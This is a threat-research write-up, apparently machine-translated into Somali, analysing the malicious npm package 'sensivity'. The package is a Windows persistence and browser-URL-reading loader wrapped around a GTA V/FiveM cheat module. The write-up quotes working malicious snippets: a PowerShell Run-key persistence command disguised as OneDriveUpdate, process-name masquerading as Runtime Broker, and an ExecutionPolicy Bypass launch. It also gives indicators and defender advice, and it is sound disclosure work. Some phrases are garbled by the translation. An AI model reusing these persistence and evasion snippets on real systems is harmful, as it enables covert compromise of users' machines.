TL, DR
Xirmada npm xasaasiyad Waxay isku tilmaamtaa "Guddiga Xakamaynta Dareenka." Windows-ka waxay u dhaqantaa sidii qalab kontorool fog iyo la socosho ah.
Barta ay ka soo gasho, launcher.js, wuxuu u beddelayaa hab-socodkiisa Runtime Broker, wuxuu qoraa qiimaha furaha Run-start-ka ee autostart oo loogu magac daray OneDriveUpdate kaas oo dib u bilaabaya xirmada iyada oo loo marayo VBScript qarsoon, wuxuu PowerShell ku dhalinayaa -ExecutionPolicy Bypass, ka dibna wuxuu qiimeeyaa 171 KB oo ah adeege aan la dabooli karin oo ay weheliso module asal ah oo ah 6.87 MB, sens.node.
Waxay u adeegtaa guddi kontarool oo isku xidha taleefanka oo ku yaal dekedda TCP 3000 waxayna akhrinaysaa URL-ka cinwaanka biraawsarka firfircoon iyada oo loo marayo Windows UIAutomation, iyadoo daawanaysa hal muuqaal oo YouTube ah oo adag.
Laba qaybood oo hore u akhrin jiray inay yihiin sanduuqyo madow ayaa hadda la xaliyay. Server-ka qarsoon, server.obf.js, wuxuu adeegsadaa nidaamka obfuscator.io RC4 string-array; dib u hirgelinta decoder-keeda offline (ma jiro JavaScript la fuliyay) wuxuu soo ceshanayaa hal dhibic oo dibadda ah — https://izopi.com/check.php — oo ay weheliso furaha dadweynaha ee RSA oo ku dhex jira oo loo isticmaalo in lagu xaqiijiyo jawaabaha shatiga ee la saxiixay.
Module-ka asalka ah, sens.node, lama xidhin: miiska soo dejinta iyo xarkaha ku jira waxay u aqoonsadaan inay yihiin DirectX 11 / Gacaliye ImGui oo ku dul-xidhan ciyaarta dhexdeeda oo bixiya aimbot, ESP (wall-hack), iyo astaamaha triggerbot, oo ay wadaan duritaanka habka fog iyo xusuusta oo akhrinaysa/qoraysa.
Xargaha gudaha ku jira waxay tixraacayaan walxaha baabuurta iyo goobaha khariidadda oo la jaan qaadaya GTA V / FiveM. Xirmada npm waa duubka keenista iyo adkeysiga ee ku wareegsan module-ka asalka ah.
Calaamadda qeexiddu waa mid shaqeyneysa, ee ma aha mid farsamo: hal daabace oo aan la garanayn ayaa riixay qiyaastii toddobaatan nooc oo hal xirmo ah - 2.5.0 ilaa 2.5.69 - dhowr maalmood gudahood, mid walbana wuxuu sitaa qalab isku mid ah.
Ma jiraan wax rakib ah hooksCulaysku wuxuu socdaa oo keliya marka xirmada la bilaabo.
Weerarkii: Sida uu u Shaqeeyo
Xasaasiyadda waxay soo dirtaa toban faylal. Package.json waa mid yar: ma jiro meel kayd ah, liisan la'aan, magacyo waaweyn iyo laba bin ah (xasaasiyadda, sens) oo dhammaantood tilmaamaya launcher.js, iyo qoraal bilow ah oo ah node launcher.js. Ma jiro postinstall ama preinstall. Waxba kama dhacaan rakibidda npm. Dhaqanka hoos lagu sharraxay wuxuu socdaa marka isticmaaluhu bilaabo xirmada - iyada oo loo marayo bin shim, qoraalka bilowga, ama baahida.
Kubbadda tarball-ku waxay wadataa qalabka wax soo saaraha, server-ka qarsoon, module-ka asalka ah, qoraal Visual Basic ah, iyo buug-gacmeed dadweyne/shabakad oo loogu talagalay guddiga xakamaynta. launcher.js waa orkester-ka la akhrin karo; macquulka muhiimka ah ee waqtiga socodsiinta wuxuu ku jiraa labada baloog ee uu ku shubo - server qarsoon iyo module asal ah oo la soo ururiyey, labaduba hoos ayaa lagu xalliyay.
Habka loo qariyo iyo cusboonaysiiyaha OneDrive ee been abuurka ah
Horraantii fulinta Launcher.js waxay laba jeer dejisaa magaca habka u gaarka ah:
javascript process.title = 'Runtime Broker'; Runtime Broker waa hab sharci ah oo Windows ah (RuntimeBroker.exe) kaas oo dhexdhexaadiya rukhsadaha abka. Magacaabista habka Node si uu ula jaanqaado waxay la macno tahay in si dhakhso ah loo eego Task Manager aysan waxba ka jirin.
Adkeysiga waxaa lagu qoraa PowerShell halkii laga qori lahaa API diiwaangelin toos ah:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Qiimaha bilawga otomaatiga ah waxaa loogu yeeraa OneDriveUpdate, mana tilmaamayo xirmada si toos ah. Waxay tilmaamaysaa wscript.exe oo ku shaqeyneysa OneDrive.Standalone.Updater.vbs oo la isku daray. Qoraalkaasi wuxuu dib u bilaabayaa node launcher.js daaqad qarsoon. Magaca furaha Run-ka iyo magaca faylka VBScript labaduba waxay amaahsadaan summeynta Microsoft, sidaa darteed gelitaanka autostart wuxuu u akhriyaa sidii hawl caadi ah oo OneDrive ah.
PowerShell oo leh siyaasad fulineed oo ka gudubta
Soo-saareyaashu waxay si isdaba joog ah ugu dhuftaan PowerShell. Sink-ga ay sawir-qaadayaashu u calaamadeeyaan inuu muhiim yahay waa soo saarista .ps1 la soo saaray iyadoo siyaasadda fulinta la joojiyay:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); Gudbinta Siyaasadda Fulinta waxay ka saartaa hubinta saxiixa qoraalka maxalliga ah ee loogu talagalay wicitaankaas. Qoraallada la soo saaray waxay maamulaan shaqada kormeerka biraawsarka iyo ogaanshaha daaqadda ee lagu sharraxay qaybta xigta.
Server-ka qarsoon iyo module-ka asalka ah
Ka dib marka la rakibo, launcher.js wuxuu soo rogaa oo fuliyaa culayskiisa dhabta ah:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js waa 171 KB oo ah _0x-array obfuscation - qaabka JavaScript halkaas oo xarig kasta iyo aqoonsi kasta lagu beddelo tusmada array isku dhafan, ka dibna laga saaro tixraaca waqtiga runtime. Nidaamku waa nooca RC4 ee uu soo saaro obfuscator.io: shaqada hal-decoder base64-waxay qeexdaa gelitaanka array ka dibna RC4-waxay qeexdaa furaha wicitaan kasta. Dib-u-dhaqangelinta decoder-kaas qoraal gooni ah - oo ku shaqeynaya dib-u-hirgelinta oo keliya array 821-entry string array, waligiisna JavaScript-ka xirmada u gaar ah - si nadiif ah ayuu u furfuraa. Dusha sare waa mid dhexdhexaad ah laakiin decisive: hal URL oo dibadda ah, https://izopi.com/check.php`, oo loo qoondeeyay joogto ah oo LICENSE_URL ah; RSA PUBLIC_KEY_PEM` oo ku dhex jira; dariiqyada guddiga maxalliga ah /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, iyo /trigger/status; iyo xarigaha child_process, crypto, iyo [Sensivity] sens.node oo la raray - kan ugu dambeeya waa khadka saxda ah ee log-ka ee soo-saareyaashu dib ugu qoraan module-ka barnaamijka ee la raray. Barta ugu dambeysa waa hubinta shatiga: macmiilku wuxuu dhejiyaa aqoonsi (server-ka qarsoon wuxuu qaabeeyaa Discord ID: %s string) furaha RSA-na wuxuu xaqiijinayaa jawaabta saxeexan ee server-ka.
sens.node waa 6.87 MB oo ah addon asal ah oo la soo ururiyey, mana la buuxin — qaybta entropy waxay ku fadhidaa 5.6–6.6 jadwalka soo dejinta iyo dhoofinta PE-na waa kuwo aan dhammaanayn, sidaa darteed awooddeeda si toos ah ayaa loo akhrin karaa. Waxay dhoofisaa napi_register_module_v1, standard Barta gelitaanka Node N-API, sidaa darteed server-ka eval'd wuxuu ku shubaa baahi cad. Shaxda soo dejinta ayaa ah tilmaanta. Laga bilaabo KERNEL32 waxay soo jiidataa OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, iyo Process32First/NextW - set-ka qaanuunka ah ee lagu helo hab kale, qoondaynta xusuusta gudaha, iyo akhrinta ama qorista xusuustaas. Laga bilaabo USER32 waxay soo jiidataa GetAsyncKeyState, GetKeyState, mouse_event, iyo SetCursorPos; waxay isku xirtaa d3d11.dll, D3DCOMPILER_43, iyo dwmapi si loogu daro shaashadda, iyo set-ka WINHTTP oo buuxa ee wicitaanada shabakadda. Xargaha ku jira waxay magacawdaan astaamaha iyada oo aan mugdi ku jirin: Karti u yeelo Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat oo la ogaaday, iyo astaanta Dear ImGui Dear ImGui 1.91.3 WIP. Goobta iyo xarfaha sida Grapeseed Medical Clinic iyo ereyada gaariga-ESP waxay la jaan qaadayaan GTA V / FiveM.
Kala qaybintu waa mid si ula kac ah u dhaqan galaysa: launcher.js-ka la akhrin karo wuxuu sitaa oo keliya qaybaha uu scanner-ku si fudud u akhriyo - adkaysi, qarin, wicitaanka eval laftiisa - halka daah-furku uu qariyo hal qof oo dibadda ah oo martigeliya xiriirada waqtiga-socodka, binary-na wuxuu hayaa macquulka ciyaarta-ku-darka iyo duritaanka habka. Soo-saaruhu waa qolof khafiif ah oo la hubin karo; server-ka qarsoon wuxuu qariyaa aqoonsiga shabakadda; module-ka asalka ah waa culayska mushaharka. Waxaan ku qeexnaa soo dejinta binary-ka iyo xarigga sida loo akhriyay; kama soo qaadanno ujeeddada hawlwadeenka iyaga.
Guddi kontarool oo isku xiraya taleefanka oo ku yaal dekedda 3000
Soo-saareha ayaa maamula server-ka shabakadda maxalliga ah ee dekedda TCP 3000 wuxuuna ula dhaqmaa sidii hal-ton. Wuxuu weydiiyaa dhageyste jira oo wuu nadiifiyaa ka hor inta uusan xirin:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Guddiga waxaa laga heli karaa http://localhost:3000, iyadoo leh URL dib-u-dhac LAN ah oo adag oo ah http://192.168.1.16:3000. Buugga dadweynaha/ iyo hab-dhaqanka guddiga waxay la jaan qaadayaan socodka isku-xidhka QR: taleefanku wuxuu sawiraa kood wuxuuna ku xidhaa martigeliyaha sidii meel fog. Ma jiro domain amar-iyo-xakamayn dibadeed oo ka muuqda qoraalka cad ee soo-saaraha - laakiin, sida debfuscation-ka kor ku xusan uu muujinayo, mid ayaa ku jira server-ka qarsoon: dhamaadka shatiga izopi.com. Guddiga laftiisu waa mid maxalli ah oo LAN-ku-saleysan yahay; martida kaliya ee dibadda ka baxaysa waa hubinta shatiga.
Qaab kormeere/shaqaale oo gooni ah ayaa hawsha sii wada. Soo-saareha ayaa dib u soo baxaya isagoo wata calanka deegaanka SENSIVITY_SUPERVISOR iyo SENSIVITY_WORKER, ilmo kasta oo shaqeynaya wuu qarsoon yahay, sidaa darteed dilka hal hab ayaa ka dhigaya ilaaliye inuu dib u bilaabo.
Dabagalka Biraawsarka iyo Calaamadda YouTube
Dhaqanka ugu gaarka ah waa la socodka biraawsarka. launcher.js wuxuu dhisaa PowerShell kaas oo kaxeeya Windows UIAutomation si uu u akhriyo barta cinwaanka biraawsarka socda:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern waxay soo celisaa qoraalka ku jira curiyaha UI. Waxaa lagu dabaqaa xakamaynta wax ka beddelka cinwaanka biraawsarka, waxay soo celisaa URL-ka uu dhibbanuhu hadda daawanayo - iyada oo aan lahayn kordhin biraawsarka, iyada oo aan la taabanayn profile-ka ku jira diskka, iyo iyada oo aan lahayn API. Qoraalka la soo saaray wuxuu soo celiyaa liiska $browserNames wuxuuna soo saaraa URL-ka ama cinwaanka daaqadda ee biraawsarka kasta oo hore.
URL-kaas waxaa lagu tijaabiyay hal bartilmaameed oo si adag loo koodiyay:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Soo-saareyaashu waxay ku codeeyaan wareeg saddex-ilbiriqsi ah daaqad biraawsarka ah oo muujinaysa YouTube, PowerShell-ka la soo saarayna wuxuu wataa lammaane Get-YouTubeBrowser / Test-TargetYouTubeUrl ah oo la mid ah aqoonsiga fiidiyowgaas. Saamaynta la arki karo waa laba-laab: URL-ka firfircoon ee daalacashada ayaa laga akhriyaa shaashadda dhibbanaha, iyo isdhexgalka martigeliyaha ee hal muuqaal oo YouTube ah ayaa la ogaadaa. Waxaan sharraxaynaa habka iyo bartilmaameedka; kama soo qaadno ujeeddo iyaga ka timid.
Akhrinta cinwaanka-bar waa waxa iskaanka uu ku calaamadeeyo sensitive_data_enumeration - a Process::env iyo UIAutomation isha quudisa waqti shaqo oo shabakad awood u leh. Waa mid aan dhib lahayn oo go'doon ah waxayna xallisaa oo keliya marka wareegga nolosha xogta laga raadraaco isha UIAutomation ilaa server-ka qarsoon.
Jadwalka iyo Horumarka Nooca
Xasaasiyadda ma aha soo gelinta hal mar. Akoonka daabacaha wuxuu leeyahay qiyaastii toddobaatan nooc oo la daabacay oo ka mid ah xirmadan keliya, kuwa cusubna way soo socdaan inta lagu jiro daaqadda dib u eegista. Soo-saaraha wuxuu ku kordhiyaa muuqaal ahaan xariiqda 2.5.x halka adkeysigiisa iyo rarista culaysku ay sii ahaanayaan kuwo go'an.
| Taariikh (UTC) | Noocyada la arkay | Xaaladda bilowga |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Soo saaraha QR-ka ee saldhigga ah; Adkeysiga furaha socodsiinta; qiimeynta server-ka qarsoon. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Farta faraha oo isku mid ah; xakamaynta raad-raaca konsole-ka. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Ku darista bartilmaameedka ka-qaybgalka YouTube ee la xiray wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Dib-u-buuxinta farqiga oo dhan; kormeeraha/ilaaliyaha shaqaalaha. |
Akhrinta qalabka soo dejiya ee wakiilada la soo dejiyay - 2.5.0, 2.5.36, iyo 2.5.69 - waxay muujinaysaa afar heer. Dhismayaasha ugu horreeya waxay wataan qalabka bilowga ah ee QR-ka ee salka u ah. Laga bilaabo 2.5.33 qalabka soo ururiya cinwaanka UIAutomation ayaa soo muuqda. Laga bilaabo 2.5.58 waxaa lagu daray lakab maamul oo kormeere ah. Laga bilaabo 2.5.64 kormeeraha/ilaaliyaha shaqaalaha ee go'an ayaa dhammaystiraya qalabka. Inta lagu jiro, afar shay waligood isma beddelaan: furaha OneDriveUpdate Run, dropper-ka OneDrive.Standalone.Updater.vbs, eval'd server.obf.js, iyo moduleka asalka ah ee sens.node.
Hirkii 2026-06-05 waa mid la taaban karo sababtoo ah wuxuu dib u daabacay lambarrada nooca hooseeya - 2.5.0 ilaa 2.5.15 - kuwaas oo ka hooseeya noocyada la xaqiijiyay maalmo ka hor. Saamayntu waa xariiq 2.5.x ah oo isku xigta oo ku taal diiwaanka, nooc kastana wuxuu wataa isla soo saaraha.
Tilmaamayaasha tanaasulka
Dhammaan tilmaamayaasha hoose waxaa si toos ah looga akhriyay xirmada tarball. Soo-saaraha la akhrin karo wuxuu wataa oo keliya loopback iyo hal cinwaan oo gaar ah oo LAN ah; magaca martida dibadda, izopi.com, waxaa dib u helay deobfuscating server.obf.js offline.
| nooca | Tusiyaha | Notes |
|---|---|---|
| Xidhmada | npm:sensivity (≈70 nooc, 2.5.0-2.5.69) | Daabacaha hal xirmo ah; ma jiro kayd; aan shati lahayn. |
| file | launcher.js | Orkester la akhrin karo; bartilmaameedka ugu weyn iyo qashinka. |
| file | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array payload, oo lagu soo raray iyada oo loo marayo eval(fs.readFileSync(...)). |
| file | sens.node (≈6.87 MB) | PE32+ x86-64 Ku-darka N-API ee Node; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| file | OneDrive.Standalone.Updater.vbs | Dib-u-fure qarsoon (node launcher.js). |
| Network | https://izopi.com/check.php | Barta ugu dambeysa ee shatiga/oggolaanshaha ayaa laga soo helay server-ka la qariyey; furaha dadweynaha ee RSA ee ku dhex jira ayaa xaqiijinaya jawaabaha. |
| Awoodda | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Awooda duritaanka habka fog iyo xusuusta ee akhrinta/qorista. |
| Awoodda | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui oo daboolaya sifooyinka aimbot, ESP, iyo triggerbot. |
| Diiwaangelinta | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Qiimaha bilawga otomaatiga ah ee tilmaamaya wscript.exe iyo soo saaraha VBScript. |
| Hab- | process.title = 'Runtime Broker' | Wuxuu u ekaadaa habka saxda ah ee Windows Runtime Broker. |
| Dhaqanka | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Habka fulinta-siyaasadda ee loo adeegsado qoraallada PowerShell ee la soo saaray. |
| Dhaqanka | UIAutomation ValuePattern akhri cinwaanka biraawsarka | Wuxuu akhriyaa URL-ka daaqadda biraawsarka hore. |
| Dhaqanka | Aqoonsiga muuqaalka bartilmaameedka ah wJWta2lO0Lw; Ra'yi ururin YouTube ah oo 3-ilbiriqsi ah | Calaamadda la socoshada ka-qaybgalka oo la dhejiyay. |
| Network | http://localhost:3000, dib u dhac http://192.168.1.16:3000 | Guddi xakameyn ah oo QR-ku-xidhan oo lagu soo bandhigay maxalli ahaan iyo LAN-ka. |
| Deegaanka | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Calanka isku-dubaridka geeddi-socodka ilaalinta ee goonida ah. |
Saameynta, Saamaynta, iyo Difaacayaasha
Xirmada waxaa daabacay hal akoon npm ah oo emaylkiisa la sheegay uu yahay cinwaan Gmail ah oo aan la xaqiijin. Akoonku wuxuu leeyahay dhibco sumcad diiwaangelin oo aad u xun, wuxuu hayaa oo daabacaa oo keliya hal xirmo, mana laha kayd ilo isku xiran. Ma xaqiijin lahaanshaha iimaylka waxaanan ololaha u nisbaynaynaa akoonka daabacaha, mana aha qof la magacaabay. Soo-saaruhu ma laha kaabayaal qoraal cad, laakiin hal marti-geliye oo dibadda ah ayaa hadda la yaqaan: server-ka qarsoon wuxuu la xiriiraa izopi.com si loo hubiyo shatiga, iyo module-ka asalka ah - laga akhriyo miiska soo dejinta iyo xarfaha halkii laga rogi lahaa tilmaamaha-tilmaamaha - waa dul-saar ciyaar oo ku duraya oo akhrinaya xusuusta geeddi-socod kale.
Saamaynta la arki karo waxay ku dhacdaa dadka isticmaala Windows kuwaas oo rakiba oo socodsiiya dareen iyagoo filaya adeeg kontorool-guddi. Martigeliyeyaashaas xirmadu waxay dejisaa joogteynta otomaatiga ah oo loo qariyay hawl OneDrive ah, waxay isu magacawdaa inay ku dayato habka nidaamka, waxay akhridaa URL-ka wax kasta oo isticmaaluhu daalacanayo, waxayna istaagtaa guddi isku xiran oo mashiinka ku xira meel fog oo ka sarreysa shabakadda maxalliga ah. Kormeeraha/ilaaliyaha shaqaalaha macnaheedu waa in hal dil oo geeddi-socod ah uusan ka saarin; gelitaanka furaha Run-ka ayaa ka badbaaday dib-u-bilaabidda. macOS iyo Linux laguma beegsado soo-saaraha - waddooyinka joogteynta, PowerShell, iyo UIAutomation waa Windows-ka oo keliya.
Isbeddelka toddobaatanka nooc ah waa isbeddelka u qalma in la calaamadeeyo. Dib-u-daabaca hal xirmo tobanaan jeer dhowr maalmood gudahood, oo ay ku jiraan lambarrada nooca dib-u-buuxinta ee ka hooseeya kuwa hore loo qaaday, waxay ku hayaan nuqul toos ah diiwaanka inta u dhaxaysa ka saarista waxayna carqaladeeyaan liisaska xannibaadaha ee nooca lagu dhejiyay. Gelitaanka liiska xannibaadaha ee sensivity@2.5.61 waxba kama qabato sensivity@2.5.3 dib ayaa loo daabacay maalintii xigtay.
Difaacayaashu waxay ku dhaqmi karaan waxyaabaha soo socda:
- Xakamee dareenka magaca xirmada si toos ah liiska u-oggolaanshaha diiwaanka iyo CI. Ku dhejinta noocyada gaarka ah waxay lumisaa cadaynta dib-u-daabacaadda; magacu waa tilmaame waara.
- U raadi qiimo Run ah oo loo yaqaan OneDriveUpdate oo xogtiisu ay ku soo ururiso wscript.exe oo ka dhan ah .vbs oo ku jira dariiqa isticmaale kasta. Cusbooneysiinta OneDrive ee dhabta ah sidan looma diiwaangelin.
- Digniin ku saabsan habka Node.js oo cinwaankiisu yahay Runtime Broker. Dillaalka dhabta ah waa RuntimeBroker.exe, ee maaha Node runtime.
- Calaamadee wakhtiga rakibidda npm ee baakadaha soo dira ku-darka .node oo la soo ururiyay oo lagu daray eval(fs.readFileSync(…)) oo ah faylka walaalka ah ee .obf.js. Isku-darkaas - binary-ga asalka ah ee aan caddayn ee lagu rakibay meel ku xigta culays qoraal oo qarsoon - waa habka qaab-dhismeedka halkan, oo ka madax bannaan xarig kasta oo IOC ah.
- Dhageyste kasta oo ku xiran dekeda 3000 oo ay keento hab aan la filayn oo Node ah ula dhaqan sidii qof laga shakisan yahay oo ku jira meelaha Windows-ka ee la maamulo.
- Jooji ama u dig codsiyada dibadda ee izopi.com ee ka imanaya horumariyaha ama martigeliyeyaasha isticmaalaha ugu dambeeya; waa meesha kaliya ee dibadda ee xirmada, oo laga helo /check.php server-ka qarsoon.
- Wixii ku-darka .node ee la isku daray, hubi jadwalka soo dejinta ka hor intaadan ku kalsoonayn. Isku-darka OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread waa duritaanka habka fog iyadoon loo eegin waxa xirmadu sheeganayso inay sameyso; halkan waxay ku taal dhinaca dul-saar Direct3D ah iyo xarig aimbot/ESP/triggerbot.
Falanqaynta-istaaga ah pipelines, qaabka xukunka waa mid waara inta lagu jiro isbeddelka nooca: astaan rakibaad aan shabakad ahayn, shaqo cinwaan-hawleed oo loo xilsaaray magac nidaam-hawleed oo la yaqaan, qor furaha Run iyada oo loo marayo PowerShell, iyo qiimeyn fayl laga akhriyo diskka. Midkoodna kuma xirna domain, IP, ama lambar nooc ah oo dib-u-daabacaadda xigta ay beddeli karto.
tixraacyada
[npm: xasaasiyad] – bogga diiwaangelinta ee khadka nooca baakadka ee halkan looga hadlay; waxay ku xiran tahay in la soo saaro.
